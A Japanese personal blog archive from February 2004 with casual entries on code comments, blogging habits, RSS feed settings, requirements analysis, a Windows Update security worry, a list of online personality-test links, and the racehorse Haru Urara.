まぁ、ロケーションに応じたルーティング可能な IPv6 アドレスを、固定ID としての IPv6 アドレスから変換するのが m2m-x の役目なのかなと規格も見ずに想像してるけど。あ、プロトコル公開されてないのかな?

あと、上記を見てるとやっぱりまだ IPv6 非対応ルータがそこかしこにあるので、どこでも IPv6 で繋げるわけじゃ無いようですね。電話機自身が IPv4 tunnel 掘るのかも。

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2004.02.18

コメント(プログラムの話、ね^^;)

ぴっくあっぷ。さんから流れてゆく…。

半径500mの日常: 役に立たないコメント

私もソースコード(プログラム)のコメント(注釈であり、プログラムの実行に影響を与えないメモ)には感想やら後の人に向けたメッセージをよく書きます。
後の人=一ヶ月後の自分でもありますし。

/*
なんでこんなことやってるんだか。~~にすれば全然楽なのに-_-。
影響がないのは確認済。時間がないからやらないけどさぁ。
*/

なんて引き継いだソースに書き足すこともしょっちゅう。普通にソースコードを読んで「あれっ」と思うような所には、何らかの形で他人の監査が入った形跡が残っていると助かるものです。

役に立たないコメントの代表例と言えば、

int i; /* カウンタ1 */

とかですね~:p。
自明なことが書かれているのは「邪魔」なだけでなく、将来の変更のたびにコメントも直す羽目になったりするので「害」です。
ほんとは関数(メソッド)のインターフェイス仕様をコメントとして記述する際も、中で行われる手順やパラメタの名前なんかは重要じゃなくて、「注意すべき点」が書かれていないといけないんですが、最近のコメントの書き方の定式化により、そのことが教えられないということが増えていそう(いや、以前からだけど)という気もします。


ところで、上記の「役に立たないコメント」というタイトルに釣られてしまった方の大半はメタブログな資質があります:p。あ、私ですか?メタブログは大好きですよ。:)

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検索で来る人も大事にしちゃいましょう

[■私設伏魔殿■: Googleで誤爆したあなたへ:親切リンク集のススメ]

検索した人は切実に探しているのではないかと思う。「これ、違うじゃん」。そんな声が聞こえるようだ。そんな人のために、簡単なリンク集を作ってみた。よくひっかかるページの末尾に追記として、リンク集へのリンクもはっておいた。「本家本元はこちらです。関連サイトはあちらです」というつもり。ちょっとした交通整理だ。本当に役に立っているかどうかわからないが。

私も「流行語」で来る人がやたら多いので、該当ページに追記したりしてます。
自分のランクを下げるような対応(検索に出ないように配慮するなど)よりも、自分のページに「来てしまった」人も多少なりの情報を獲得できるように。
建設的でよいと思います~。
あ、でもまぁ先頭に追記したほうがよいのでしょうけれど、まだそこまではやっていないです^^;。

自分のところに来て損したと思われるのはなるべくなら避けたいものですよね~。
逆に、変わった経路からやって来た人のことも考えられていると、「読者になろうかな」という人も増えるかもですね~。

まぁ、検索ワードが見えなければ当然そんな配慮のしようがないですけれど。

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「ブログ」飽きたらやめる、何か問題でも?

ちょっとメタブログおば^^;。特定のどこを見てというわけでもないので refer できず_o_。

いわゆるホームページブームに乗って「ホームページ始めました」と言って数週間で更新が止まる、という方はきっと多数いらっしゃったと思います。で、ブログブームでも同じ事になるだけだね、という悲観的なんだか大上段に構えたいだけなのかよくわからない意見がでたりするわけですが(いや純粋に分析としては正しいと思いますが^^;)、ちょっとやってすぐにやめる人をばかにしてはいけませんよね。

ウェブログをどのように使うかによってももちろん変わりますが、ウェブログは当時のブームでいう「ホームページ」と同じく、自分の表現したいことを表現する場です。表現したいことがあれば書き足されていく、一通り言い切ったら(言うことが無くなったら)終了するというのはごく自然なことと思うわけです。

最初からそういうスタンスで、あらかじめ明言している人もいます。

もっと言いましょう。所詮趣味、遊びなんですから、興味があれば始めて、楽しければ続けて、他のものに興味が移ったらやめる、それだけです。それでその人の目的は達成されたんです。
その短期間でもたくさんの人の参考になる、あるいは感動を与える記事を書く人もたくさんいます。

こんなことはすべての人が行っているはずなのに短期間でやめる人たちを非難する(とまではいかなくても馬鹿にしている)ようなものいいをする人がいます。これは何故なんでしょう?

「自分は長く続けているからえらいんだ」ということになるんでしょうか?
いや逆に実際に長くやっている人はそういうことは言わない気がします。

やったことない人のほうが言いそうです。どうせ一時的なブームだろうから自分は手を出さないんだ、ブームに乗らない私は利口だよね、といったところでしょうか?

手を出さない人より手を出した人の方が将来的に人に語れる話題は増えてるんですけど。

つまり、「ブログというものを体験してみる」だけでも目的として充分でしょう。
皆さん飽きるまでやりましょう~。^^/

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2004.02.17

テキストばっかりみていてはダメ

知っている人は多いでしょうけれど。

http://pya.cc/

というサイトがあります。先日この中のイメージランキングを見ていて、久しぶりに夜中に画面を見ながら一人で吹き出してしまったのでした。
# 普通吹き出すまではなかなかいかないですよね?

最近テキスト(プログラム/文章)とばかり付き合ってきた気がするけれど、上記を見た時ほど笑った記憶が無かったので、テキスト漬けな方へ特にお薦めします^^;。

お気に入りは「ケコーン式」「おかずセット」「おもちゃを買わなかった翌日、娘(5才)のささやかな反抗」などなど。
笑える系以外にもなんか感情に訴えかける写真がいっぱいありました。

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2004.02.16

診断関係リンク集

むかーしネタ用に残しておいたうんたら診断関係のリンクをここに載せようかと。

でも、先頭に記したヤヲーという所だけで膨大なので、リンク集的にはそれで足りるということに気付いてげんなり-_-。 まぁいいや。これで自分のローカルに保持する必要なくなるし^^;。
ってか、ずっと残してたリンクは切れてたのも多かったので軽く検索して足してみた。自分はあんまりやってないかも^^;。いつか自分の結果を追記しようかと思います。あと、せめておばか系かまじめ系かは分類しときたいな…。

私はあんまり話題に乗るタイプじゃないので、最近話題になっているものとかでも抜けがたんまりあると思われます_o_。

おバカなものから真剣そうなものまで、さまざまな鑑定・診断・チェックのリンク集
http://www.yahwoe.com/

恋愛成績表
恋愛頭脳
金持ち頭脳
他人鑑定
あなたのお値段鑑定します
http://hanihoh.com/

あなたの評判診断
ヒーロー度&ヒロイン度鑑定
霊能力鑑定
チャット依存度鑑定
偽善者診断
絶対味覚度鑑定
宝くじ占い
サバイバル度鑑定
http://www002.upp.so-net.ne.jp/hit/hup121.htm

語意推定テスト(日本語)
http://www.kecl.ntt.co.jp/icl/mtg/goitokusei/goi-test.html
おいら:辛うじて 45000-46000 …

英単語の語彙力判定
http://www.tangoriki.com/

賞味期限チェッカー
http://homepage1.nifty.com/mr_yossi/syoumikigen/

男脳女脳診断(あの本の内容と同じかな?)
http://www.chaoo.net/sindan/
おいら:あなたのポイントは -60ポイントです。 (男脳度数:80%/女脳度数:20%)
ってか、このサイトやっぱり「話を聞かない男、地図が読めない女」と同内容な気がするが著作権大丈夫なんだろうか…。

エコグラムによる性格診断
http://www.egogram-f.jp/seikaku/index.htm

辛口性格診断
http://www.jmrlsi.co.jp/cgi-bin/ego/diagform.pl

余命診断
http://www.iris.dti.ne.jp/~ttoyama/sogo.html

ニックネーム診断-呼び名の音のイメージで性格や恋愛相性を診断
http://homepage2.nifty.com/montjeu/

『通信簿診断!』と『係占い!』
http://yoiko.on.arena.ne.jp/

階層夢診断
http://www.s-awake.com/kaisou/

ファンタジー職業適性診断
http://trpggasuki.com/trpg/csi.php

長所/運の強さ/恋愛IQ診断
http://www.kct.ne.jp/~success/



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2004.02.15

「全文を連携する」の効果を測れるか

先程から、「公開用設定」の「ウェブログの記事の連携設定をオンにしますか?」を「はい(概要のみ連携する)」にしています。
明日一日(或いは状況によっては明後日まで)だけこうします。「RSS reader の読者とアクセス数(全文 feed について)」で書いたように、「全文を連携する」にしておくことで RSS reader によって web アクセス無しに全文が読めるという効果があるわけですが、「読者」がどれくらいいるかは見えにくくなる、というあたりについて、ちょっと確認してみたくなったのです。

RSS reader での読者がいらっしゃる場合、全文を連携しない設定にすることにより、referrer の付かないアクセスが増加するはずです。とはいえ、続きを見たいと思われないような記事だった場合はアクセスは増えないでしょうけれど^^;;。

別に綿密な調査を行おうというつもりもなく、ただなんとなくではありますが、bookmark/アンテナ と RSS reader 経由の比較、及び検索/他からのリンク経由と bookmark/アンテナ/RSS reader 経由の比較ができたらなぁ、と思います。

とーぜんこのサイトの性質及びこのサイトの読者の性質に依存しますので、一般的に言えるような観測結果にはならないでしょうけれど、なんとなくやってみました。明後日くらいに何らかの結果が出る…かもしれません^^;。

ちなみに、目的は「"全文を連携する"にした場合、見えない読者がこれ位いるんだよ」という事を言って全文 feed を促進することです^^;。RSS の容量が、と言われる方もいらっしゃると思いますが、通信容量/ストーレジ容量ともに、大した差ではないと思っていますし。もちろん先のリンク先にも書いたように、web で見て欲しいという人その他意図をもって全文 feed を行わない人を非難するような意図は全くありません。

ここに付けているアクセス解析がいまいち使いにくい&ここの絶対アクセス数が大したことないので、あまりよい観測結果にはならない気もしますが、RSS reader の方がこの部分まで読んでくださる(= web アクセスしてくださる)ことをほのかに期待しております。ご面倒おかけして申し分けないんですけれど_o_。

(追記)
あり…設定変えたのに全文が(改行が入らない形でだけど) XML に書きだされてる…-_-。
「概要のみ連携する」って、もしかして name="text" (BODY)の範囲ってことなのか…?
ココログでは name="text_more" (EXTENDED BODY) が基本的に使えないから…とか思ったけど、他のココログでは BODY の冒頭だけが feed されているものもあるな…。
見てみると、「設定」「表示用設定」に、「概要の文字数」という項目があるけど40になっているのに…?

とりあえず「RSS reader の方がこの部分まで読んでくださる」の部分を訂正して、できれば Web にアクセスしてみていただきたいです_o_。

(追記)
というわけで、Tiger さんに教えていただいた通り、「概要の文字 word 数」を減らしました。さっそくのご教授ありがとうございますぅ_o_。
しかし word 数というのがまた厄介で、私は英単語が混ざる時は先の「word 数」のように空白で区切るようにしているのですが、これだと日本語の(字句解析無しにおける) word と英語の word で全然文量が違って来ます-_-。段落単位にしてくれればいいのに。
しかも、概要 feed だと改行が繋がれるため、やっぱり読み辛い…。やっぱ全文 feed 推奨だな^^;。

Auto Discovery のために HTML 内に description が入ってでかくなるという問題がありますが、これって trackback ping url と rss url さえ分かれば dc:description なんか吐かなくてもいいんじゃないのか…とか思う-_-。
どうせ HTML コメント内なんだから rdf 文法に沿わなければならないわけでもあるまいに…。

(追記)
結局、アクセス解析ソフトがどうも信頼できないので、取り合えず白紙にして、また機会があったら調べようと思います_o_。

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2004.02.14

分析とはあらゆる要素を挙げて、整理すること

書いてたネタと被るのがココログスタッフルームに…。

私はソフトウェア開発なんぞをやっていたりしますが、ソフトウェア開発においては、お客さんの要求(お客さんがコンシューマであれば「需要」となりますが、ここでは企業を例として)を分析する作業が必須です。ろくに分析を行わずにお客さんに言われるがままに機能や内部処理を決定していくと、必ず不整合が発生し、それを取り繕う作業に開発期間の半分以上を費やされることになります。

お客さんが望んでいるものを正確に把握しなければまともな設計は出来ません。把握し、整理する作業を要求分析と呼びます。

まず、お客さんの要求をひたすら聞き取るという作業が行われます。ヒアリングです。
それを箇条書きにする所までは誰でも出来ます。が、この段階でも、「何を聞くべきか?」を判断するには経験に基づくセンスが必要なのですが。

とりあえず要求の一覧ができたとしましょう。でも、ここからが出来る人間が少ない。


聞き出した、或いは見つけ出した要求はまずその出所となる目的を明確にしなければなりません。
お客さんが目的を明確にできるケースは少ないです。
お客さんは通常、今までやって来たことができることと、こんなことができたらいいなぁという思いつきで要求を出します。
なぜその機能が欲しいと思ったのかを見いださないと、必ずといってよいほど後で気が変わってしまいます。

なので、まずやるべきは要求のリストを目的のリストに変換することだと思います。
そうすると、目的を実現するよりスマートな方法が大抵はでてきます。
こちらがお客さんの目的を把握した上であれば、こちらからの提案も受け入れてもらい易くなります。

目的の見極めが正しければ、余計な開発をせずに済み、且つ、のちの仕様変更の可能性を減らし、且つ、仕様変更があっても対応し易い設計を行い易くなります。

この「整理」作業なしで「分析」フェーズを終らせてしまっているケースが多いなぁ、というのが感想なわけです。

んで、ソフトウェア開発に限らず、何か他人の期待するものを産みだそうとする時全般に通用する考え方だと思うので、この能力を鍛える努力をしましょう。という所で今回は終りにしておきます^^;;。
実はあんまり勉強してない自己流なので、あんまり突っ込んだ話すると用語やらが怪しい可能性が^^;。でもさぁ、これほんと出来ない人多いのよ…。

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チョコレート…を貰ったのだろうか…これは

esa.jpg

おぉっ!!私信無断公開 :p
一足先にバレンタインデーのチョコ…の…様なもの…ですか…-_-。

…ツマラナイモノ…ですか…。
…返品は受けつけないそうです…うれしぃT_T。

これはですねぇ、くさったエサといいましてですねぇ。
庭に置くと肥料にもなるという噂らしいんですけどねぇ。


…よく嫌がらせにも使われるんですよ…。

そういえば、よく配ったもんだ…(遠い目)。
来月にはどんな嫌がらせアイテムをあげようかな…。


あ、そぅそぅ。スタイルをインターポットふぅ~にしてみましたとも。
ふぅ~、でしか無いですけど^^;。
デザインのセンスは無いんです。はぃ。

(追記)ついでに Bulkfeeds の Similarity Search の実験。この記事じゃぁ全然関連するの引っかからなさそうだけど^^;;。

あ…やっぱり引っかからなかった-_-。

おっと、今引っかからなくても引っかかる時は引っかかるんだ。でもちょっと関係なさ気な感じで引っかかってくれます^^;。こういう記事の場合はそういうのもいいね^^;。

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2004.02.13

2/18 The Night for Java Technology

2/18, 19 のJava Technology Conference 2004に行くんですが、今日がセッション受講申し込みの締め切りだというのに見たいものがないという…。

結局行くのは18日夜の Night for Java Technology だけだったりして^^;。19日は BoF など興味のあるものもあったんですが、二日も行けません-_-。なんかお金無駄にしたかも…。


まぁ人に会いに行くのが主目的だったりするので別にいいんですけど。
ってなわけで、行く人いたらご連絡ください~^^;。



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所信表明

今さらながら私がこのページで記事を書くスタンスについて書いてみます。
本当は(ここのように^^;)最初に書くべきだったなとも思いますが、元々実験だったので何気に始めてました。
で、そろそろ今後のやり方もある程度定まってきたということで、改めて書きます。

なお、これはこのページの筆者である「私」に興味を持たれた方以外についてはあまり価値のない記事ですので、ご了承下さいませ_o_。

もともとは、ふらっと nifty のトップページを開いた日が 12/2 で「今日からココログがオープン!!」みたいな感じだったので blog の雰囲気を知っておこうと思って反射的に登録してみたというだけで、何を書くかなんて全く考えていませんでした。

しょうがないので、インターポット看板なんかに以前ちょろっと書いていた「てきとぅ格言」でも書こうかなと思って数日書いてみたわけです。バックナンバーを見ると如何にいいかげんかが解ります^^;。

どうせこんなネタでは一ヶ月も持たないと思いつつ、ある程度 blog をやる人の感覚を掴めたら終わらせようかなと思っていたんですが、カテゴリーで分けてしまえば他のネタを書いてもいいんだなぁと思い、カテゴリ分けをした上で、もともとの目的だった blog(機能や blogger) 自体に関する観測結果(感想ですが^^;)も書くことにしました。

当初はインターポットにおける友人と嫁さんだけが対象読者だったのですが、これによりメタブロガーの方や、blog 初心者の方も対象読者になりました^^;。
「嫁さん」という呼称を使うのは、他の呼び方の語感が自分の柄からしていまいちと思っているだけで、言葉の意味としては、奥さんでもパートナーでもよいのです。そこを突っ込みたい人のために念のため。

また、この頃から、さまざまなことに関する自分の考え方を表現して残しておくこの場を、もっとも適切な自己紹介ページとして使えるなぁと思いはじめました。自己分析で書いたプロフィールなんかよりもよっぽど当人の思想や日常が凝縮されてますから。

次に、ココログという場所自体が新たなアクセスを引き寄せやすいことに気付いてから、その上で読者が増加する要因について興味を持ち、それに合わせた記事を書いたり、多数の記事を書いたりしました。

で、それもそろそろ飽きて来た、と。ぃや、いいかげん自制せねばってことなんですが^^;。


これからどうしようかなぁ、というところですが、格言は思いつくかぎり書こうと思っていますが、一般の人が興味を持ちそうな話題に便乗するのは今後はしないと思います。まぁ今までも「自分」が興味を持たないことまでは書いていないですが、そこまで面白いと感じていなくても書いたことはあったように思いますし。

あと、「日記」という形態にわりとこだわっていて、毎日一件以上の記事を書くようにしていましたが、これももういいかな、と。これからはなるべく記事にする価値があって、ある程度自分の意見がまとまった形にできた時に書こうと思います。

今では「自己紹介ページ」というのがここを更新するもっとも大きな目的かもしれません。人に会って自分がどんなやつか伝えたくなったらこのページを紹介するのがもっとも手っ取り早い、と。他にはもともと ML 等の他の「場」で行っていた、文章力/表現力の向上という目的に対する手段もこちらがメインになりそうです。

とはいえ、知人に軽~く紹介したいネタなんかは今まで通り書くと思うので、これまでと大して変わるわけではないと思いますが。
blog に記事を公開して、それに幾許かの反応がある、ということ自体の楽しさは実感できましたので、その楽しさを味わいたいと思った時、あるいは単に知人+αに向けて何か伝えたい時に書く、というところでしょうか。

中には、完全にテーマを決めて、それからはずれることは書かない、と明言される方もいらっしゃり、そのような所の方が読者にとっては嬉しいページだったりするのですが、私はそういうことはないです_o_。

ちなみに、philosophical というのは philosophy(哲学)の形容詞形ですが、なんで philosophy にしなかったのか思いだせません-_-。元々「人」に関することを書こうと思っていたのだけはたしかですが…とにかく今はそれにもこだわっていません。取り合えず、結果的には philosophy よりも重複するページが無くて良かったかも^^;。

それでは、読んでくださる皆様今後ともよろしくお願いいたします。っつぅことで~。

(追記)
blog を効果的に使う方法として、「一つのテーマを一つのページに」というのがあると思っています。
日記の体裁を意識して続きを新しい記事として書くのは実は閲覧者的にはさして嬉しくないのではないか?と。
できればそういうのを目指したい所です。いい煽りになりそうなので今度ネタ振りしてみようかな^^;;。

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2004.02.12

WindowsUpdate が…

「この更新をインストール」ボタンを押しても反応せず…T_T。
やばぃ、やばぃよぅ。もう攻撃コード出まわってるらしいぞ~。
ってか、既に進入されてたりして-_-。

皆さん急いで WindowsUpdate してください、ってことで新規エントリとして書く。
決してネタが無いわけではありません、と言ってみる:p

SSLサイトなどでの受動的攻撃以外に、S/MIME なメイルによる積極的攻撃もあるらしいですが、S/MIME メイルの自動照合を行うメイラ(OutLook Express 等)を用いていない人は取り合えずまだ大丈夫なんだろうか…。

S/MIME 以外での積極的攻撃が可能なサービスって何があるんでしょう?教えて~。
情報入手困難な場所よりT_T

(追記)
パーソナルファイアウォール(Kerio PF)によってブロックされていたらすぃ。
とりあえずアップデートできたよ…。
たまーにパーソナルファイアウォールでは防げない(というかどこを塞げばいいかわからない)系の脆弱性がでるから困る…まぁ今回のようなものはウイルス検出ソフトでも間に合わないだろうけど。
大丈夫かいな…。

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2004.02.11

犬は「びよ」と鳴いていた―日本語は擬音語・擬態語が面白い

Passion For The Future: 犬は「びよ」と鳴いていた―日本語は擬音語・擬態語が面白い

もうね。ほんとは本を読んで感想とか書きたかったんですが、時間もないのでとにかく、リンク先をお読みになって下さいませ…と言うことで^^;。

ギャフンってどうしてギャフンって言うの?とか。
お薦めいたします^^;。

この本も買って読もうかと思っています。

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人気 blog ランキング

サイドバーに「blogranking」 なるものへのリンクをこそっと追加して早数日。

登録した Web サイトのランキングを表示するらすぃ。

人が少ないからか?リンクをクリックしないとカウントされないようだけど、その分クリックしてる人の絶対数が少ないようで数回のクリックでランキング上位になってしまってるよ…。

信憑性の低いランキングだなぁ…。
最初仕組みを知るためにいくつかクリックしたりしたもんで^^;。でも他の方もクリックしてくださっているようです。これはありがたや~^^/。

登録者がすごーく増えて、すごーぃ人気サイトが出てくると信頼性が上がっていくかもしれないけれど、どうだろうなぁ?
IN/OUT っていうカウント方式はわりと使われているらしいけど、閲覧者がランキングサイトを意識した行動を取らないと反映されないというのはどうなんでしょう?IMG 要素を使ってページビューで測定したほうがよいんではないだろうか…。

今のところあんまり意義が無いので外そうかとも思ったけれど、それでもここからやってくる人が幾人かでもいらっしゃると思うと、一応放置しとこうかなぁ、くらいの感覚^^;。

とか言いながら、blog.with2.net への更新 ping (ここはトラックバックでよいらしい)も忘れない人:p。

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2004.02.10

ハルウララ~~

[ハルウララめも]

高知競馬場のハルウララは今年で8歳になりました。今やいろいろなメディアで取り上げられてスターホースになりました。2004年2月1日現在103連敗中。でも負けても一生懸命に走る姿がファンを引き付けています。

頑張らさせられてる競走馬。可哀想だけど処分よりはマシですね~。
周りの人たちはもうのんびりやってるかもしんないけんど。

参考:血統の森 - ハルウララまとめページ

ハルウララグッズが出てる…。
この馬の出走するレースはきっと他のレースよりオッズが上がるんだろうなぁ^^;。

今度武豊が騎乗するそうで、さらに人気になり、馬券はおいしいか?:p
え?武なら連れて来ちゃうかもしれないって?うんうんとにかくいろんな期待でもって売りあげに貢献すればハルウララ本馬にとってもいくらか幸せになるはず。:)

ちなみに私はいくら穴を開けても人気にならない馬が大好きです:p。
スマートボーイとかミラクルロッキーとか:p。

きっと専門家も含めて評価が低い馬が激走すると目の付け甲斐があるからだろうなぁ。
でもハルウララの場合は能力とは違うところで人気なのでそれはそれで好き。

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2004.02.09

何故 blogger は blog 上で議論するのか?

blog は議論に向かない
に関する反応より。

[闇黒日記](平成十六年二月八日)

「ブログ」なるシステムの側面からしか議論されてゐない。議論をする人間の主體性が等閑にされてゐる印象。
……と書くと、「何うして野嵜は『ブログ』の仕組みに興味を持ちませんか。偏つてゐます」のやうなつつこみがバンバン入る羂。「ブログ」や「掲示板」があつて、それで勝手に議論が生ずるのか。議論をしようと思つて人が「ブログ」や「掲示板」に書込むのか。
「議論が起る」と「議論をする」は違ふのだと云ふ事。

お返事お返事^^;;。返事になってない気もするけど-_-。
まぁ…もともとシステムに興味があってその分析として書いてたのでそこはあれなんですが^^;。人の行動原理の分析自体も好きではあります。

で、まず「議論」については以下の二つの目的があると思っています(細かく分ければもっとあるだろうけど)。
参考:そこそこのツッコマビリティだった^^;(blog と「議論」の形)

  1. 互い(或いは多くの人)の考えを述べあって、さまざまな見識があることを知る
  2. 問題の解決を目指して提案/評価を重ねていく

人が1のような議論をしようとした時、blog 上で表明するのはそこそこの手段になるなぁという感想を持っています。
意見をかき集めるのはちょっと大変ですが、Bulkfeed/FeedBack など、ピックアップを補佐するツールがありますので今までのようにどこにあるかわからない掲示板などの意見を吸い上げるよりは大分楽になってるなぁ、と。
それでもまだ何か楽する方法は無いかなぁ、というのが元記事の趣旨でしたけれど。

次に人が2のような議論をしようとした時ですが、こういう場合は ML なり会議といった場の方が向いている可能性があると思っています。少なくとも議論のペースという点においてはそういえるかと。

ならば、そういう場を使えばよいだけですし、専門的な ML などでは今でも積極的にそういう場の方で議論がなされています。

そうすると、元記事のような(2の議論は向かないという)感想が出てくるのは、最初は2のような議論をしようという意図は無かったが、成り行きで blog 上で続いているといった、まさしく「議論が起こった」場合ですね。

ただ、blog で最初の意見表明をした人は得てして議論の場をより適切な場に移動したりせず、ほとんどの主張を blog 上で発してしまう傾向もあるのではないか?とも思います。もっと言ってしまえば、blogger は、より向いている場があっても自身の blog 上で議論をはじめようとしてしまうことがあるのではないでしょうか?

理由は、「(より適切な場を利用することが面倒と感じるほどに) blog 上で問いかけを行うのが楽だからじゃないか?」くらいにしか今のところ考えてないですけど^^;。
blog という意思表示の手段を持っていない人がわざわざ blog を作って 2 の議論を始めることはなさそうです。
既に blog を持っている人は、ML などで問いかけをしたほうがよいか?を考えるのが面倒な場合に、つい自分の日記でぼそっと言ってしまったり、とか^^;。

blog という媒体が、著者に「日記に書くネタを暗に要求している」ことが影響しているやもしれませんね~。
はっ!!これは労力の分散とコミュニティの衰退にも絡む話かも^^;。

で、元記事は、上記の通り、1(2もだけど)の議論において、意見を集約する手段について述べていて、2に特化していなかった、と。タイトルでは2に限定していたにも関らず。ツッコマブルであることも狙ってあんまり考えずに書いていましたが、結局タイトルと中身のずれがツッコマビリティの主要因となったようです^^;。いろいろな反応が見れてよかったです。
ぃやすみません_o_。これってある意味「儀礼的無関心」と同じ事だな^^;。

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2004.02.08

げげ…はまり過ぎか…-_-

うおぅ、なんと文章量の多いココログランキングなんぞに載ってる…-_-(2004/2/8 現在)。

文章量の多いココログ
・Tokyo Fuku-blog(45990文字) 
・極東ブログ(44798文字) 
・私設とりあえず相談所(35969文字) 
・it1127の日記 (34184文字) 
・philosophical(33783文字) 
・バカぽんの気ままにデンジャラス(31543文字) 
・EP end-point(30783文字) 
・たなぼた(30185文字) 
・面白いサイトやニュース、日記や創作文章等(29365文字) 
・きつねのすみか(28503文字)

うむむ…書き過ぎてるなぁとは思ってたけど…^^;。
絵とかめんどくさくて入れないし、読みにくいんだろうなぁ…_o_。

でも一応文章の特訓も兼ねてるので、「読みにくい」も含めていろんな批評を浴びたい所なんですけどねん。Web 拍手経由でもコメントいただけますと幸いでございますぅ。

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Trackback を使うべき時

相手と相手の読者に見せる価値があると思ったなら迷わず打て

以上:p。

トラックバックをどのような時に使うべきか、或いはどのような時に使わないべきかについては、
トラックバックの有効な使い方を考える : ウェブログ@ことのは
こちらで詳しく書いてくださっており、私はほぼ全面同意なのですが、これを一言で言ってみた、と^^;。
相手(サイト)の読者」という部分と「見せる価値」という部分に注意しさえすれば上記や以下で述べられているようななんだかはがゆい状況にはならないです。
例えば既に文中リンクしてる記事にトラックバックが付いた、とかね。もう見てるのにぃみたいな。

参考:羊堂本舗 ちょき - お返しTrackBack

初心者向けに改めて短く言ってみましたー。

注意:「べき」とはそれぞれの記事の著者がそのほうが合理的でよいだろう、と主張しているに過ぎず、そうしろと強要されるものではありません。

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「権利」と「権利の侵害」は表裏一体

儀礼的無関心関連のコメントの中から、もやもやしていた部分を晴らしてくださる一文が。
[はてなダイアリー - 明日の読者]

確かに「公益」を満たすためにはそれぞれの個人がそれぞれ折り合いをつけなければならないでしょう。しかし、それならば「儀礼的無関心」は成り立ちません。関心を示し、覗き見、冷笑を加える者の「権利」も、それを希求する権利を認めるとすると、少数のヒトに関心を示して貰い、覗き見は勘弁してもらって、自分の文章に冷笑される事を厭うヒトの「権利」は侵害されます。常に権利と権利の衝突と調整が起きるだけになってしまうじゃないですか。簡単な論理矛盾ではないか?

経緯はこちらを見るのがよいかと思います。

なんだ、誤用だったのか>儀礼的無関心
にも書いたように、そもそもここで議論されている問題を「儀礼的無関心」と呼んでしまった事が問題なんだけどそれは置いておいてっと。

「覗き見する権利」はあるが「見られたくない権利」もある。「リンクする権利」もあるが「リンクを拒否する権利」もある。「赤裸々なことをWeb上に書く権利」もあるし「それを見たくないと主張する権利」だってある。「サイトを畳む権利」もあるし「見たいと主張する権利」もある。すべてのことについて「主張する権利」があるし「聞かない/拒否する権利」もある。

何らかの権利を行使した時にはほぼ全ての場合に他の何らかの権利を侵害している。
すべての権利を守るのは不可能なので、「守られるべき権利」というものが生まれてくる。

誰のどの権利が守られるべき権利なんでしょう?
この問題に限らず、常に意識したいものです。

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他にもいろいろやり方はあるだろ症候群

レビュアーとか上司って、よくこういうことを言うわけです。
あと、既存のサービスに対して技術者の観点で文句を言う場合もそうですね。
評論家もか。

自分がそれに近いことをやったときにふと思ったことですが、ある程度の経験があって自信過剰になってくると、こういう言動が出易くなるように思います。しかし、実際に自分がやってみると穴があったり、存外に苦労することが多い、と。また、「いろいろ」の中のどのやり方にするかを選別するのにかかるコストが並み大抵ではないということを忘れてしまうことも多いですね。

で、とにかく「そのやり方じゃダメだ」と言いたい場合に使われる。
ただ「ダメ」というだけよりはよっぽど良いのですが、もし対象が協業者であるなど、相手の出来具合が自分にも影響を及ぼすような場合なら、相手のそれまでの苦労とこれからの苦労を意識して発言したほうがよいですね。
自分への影響が完全に0、というケースは実はあり得ないんですけどね。

自分がやるならどの方法を選ぶか?
自分がやったとしたらすべての問題を妥当な時間で解決できるか?
すなわち「それは本当に適切なアドバイスであるか?」です。

ただ、こういう場合のよくある指摘として「んじゃやってみろよ」とか「自分は出来ないくせにそんなこと言う資格はない」とかがありますが、これは間違った指摘の仕方だと思います。

自分で出来なくても言ってもいいでしょう。ただ、自分がやらない立場であるならば、相手がそうできなかった事情を想像し、たとえ提案に確固たる自信があったとしても、思いも寄らない穴があるかもしれない、と考えながら言えば、上記のような無駄な反論を受けずにすみますし、どんどん言ったほうが建設的であると思います。

世の中の評論家の多くは自分が出来ないのに評論対象の苦労を無視した指摘の仕方をするから嫌われるのです。
もちろん「評論家」と呼ばれる人でも自分の立ち位置をわきまえた方はいらっしゃると思いますけどね。

office 氏はどうだったかな…などとつぶやいてみたり:p。

念のためですが、これは指摘する側に対する心構えの話です。
指摘される側は、その言い方や相手によらず、内容をよく聞く姿勢が必要です。

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2004.02.07

なんだ、誤用だったのか>儀礼的無関心

[it1127の日記 : ■儀礼的無関心のロンド]

それが何の本だったかまでは思い出せずいたのですが、やっと見つけました
小泉信三「平生の心がけ:デリカシイ:p96」
何時か外国の雑誌でこういう写真を見た。
イギリスの、たしかバッキンガム宮の園遊会か何かの折の場面であった。広い庭園の中の道路を、多数の着飾った男女が、長く続いて参入するところである。一人の、やはり客の一人と見える婦人が、脳貧血でも起こしたのか、路傍に倒れている。同行者、また係り員と覚ぼしき二三人のの者が、それを介抱している。こういう晴れの場所での、この不時の出来事に、当人は勿論、同行の者の困惑は、察するに余りある。ところが、その前を通過する多くの男女が、誰一人その方を見向いているものがいない。それがハッキリ写真で分る。編輯[集]者も、特にこういう場合のイギリス人の訓練を認めたのであろう。説明書きに、そのことに注意を促す文言があった
 これがデリカシイというものだろう

なるほどぉ。ってか私は儀礼的無関心という言葉の元々の意味も知らずに(今話題になっているネット上のものに限定して)、
儀礼的無関心って「儀礼」なの?
といった記事を書いたりしたわけですが、上記引用のようなケースを指して儀礼的無関心、というのであれば納得ですね~。

つまり、儀礼的無関心って「儀礼」なの?から辿れるあたりで議論されている内容はそもそも儀礼的無関心じゃないですね。自分の感想が的を外してなくて良かった良かった^^;。

「儀礼的無関心が由とされるケースは、本人が恥ずかしい状態である事及びそれを見られている事を認知しており、且つそのままでいたくない状況」であるにもかかわらず、今話題になっているケースでは「本人が見られているかすら知らない」のですから。こういう人に対して儀礼的無関心という用語を持ちだしちゃいけないですよねぇ。

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2004.02.06

傷つくことが恐いなら希望を持たせることを言おう

[neko blog: 人を傷つけたくない、だけど]

知らぬうちに人を思いっきり傷つけていることがある。
以前は怖かった。自分の何気ない言葉が、他人に痛みを与えている。時には、人生を大きく変えるくらいの傷を与えているかもしれない。
・・・何もしゃべれないじゃないか。

こういう悩みは多いと思っています。そう考えられるだけまだよいと私は思うんですが^^;。
こちらの記事では「開き直ろう」という意思表示をしていらっしゃいますが、私はほんの少し違う考え方を持っています。

開き直って、人を傷つけるかもしれない/気分を害するかもしれないという気持ちを忘れたくもないと思っているわけでして、つまりどう自分を納得させているかというと、

ポジティブな発言を心がけよう

です。
相手毎に「何を言ったら傷ついちゃうか?」を常に考えながら生きるのは苦痛です。
ポジティブな発言によって傷ついちゃう人も中にはいるでしょうけれど(たとえば鬱系の方とか)、それによって恨まれることはほとんどありません。僻む人はいるかもしれませんが^^;。

